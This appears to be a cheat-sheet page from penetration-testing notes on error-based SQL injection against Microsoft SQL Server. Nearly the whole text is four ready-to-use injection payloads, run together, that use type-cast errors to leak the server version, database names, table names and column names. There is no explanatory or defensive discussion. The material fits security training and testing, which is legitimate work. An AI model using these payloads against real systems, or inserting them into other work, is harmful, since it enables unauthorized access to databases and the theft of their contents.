2.4.4 Exploiting Error-Based SQL Injection
Exploiting Error-Based SQL Injection
MS SQL Server Error-based Exploitation
9999999 or 1 in (SELECT TOP 1 CAST(@@version as varchar(4096))); --9999999 or 1 in (SELECT TOP 1 CAST (db_name(1) as varchar(4096))); --9999999 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM <database_name>..sysobjects WHERE xtype='U' and name NOT IN ('')); --9999 or 1 in (SELECT TOP 1 CAST (<db_name>..syscolumns.name as varchar(4096)) FROM <db_name>..syscolumns,<db_name>..sysobjects WHERE <db_name>..syscolumns.id=<db_name>..sysobjects.id AND <db_name>..sysobjects.name=<table_name> AND <db_name>..syscolumns.name NOT IN ('')); --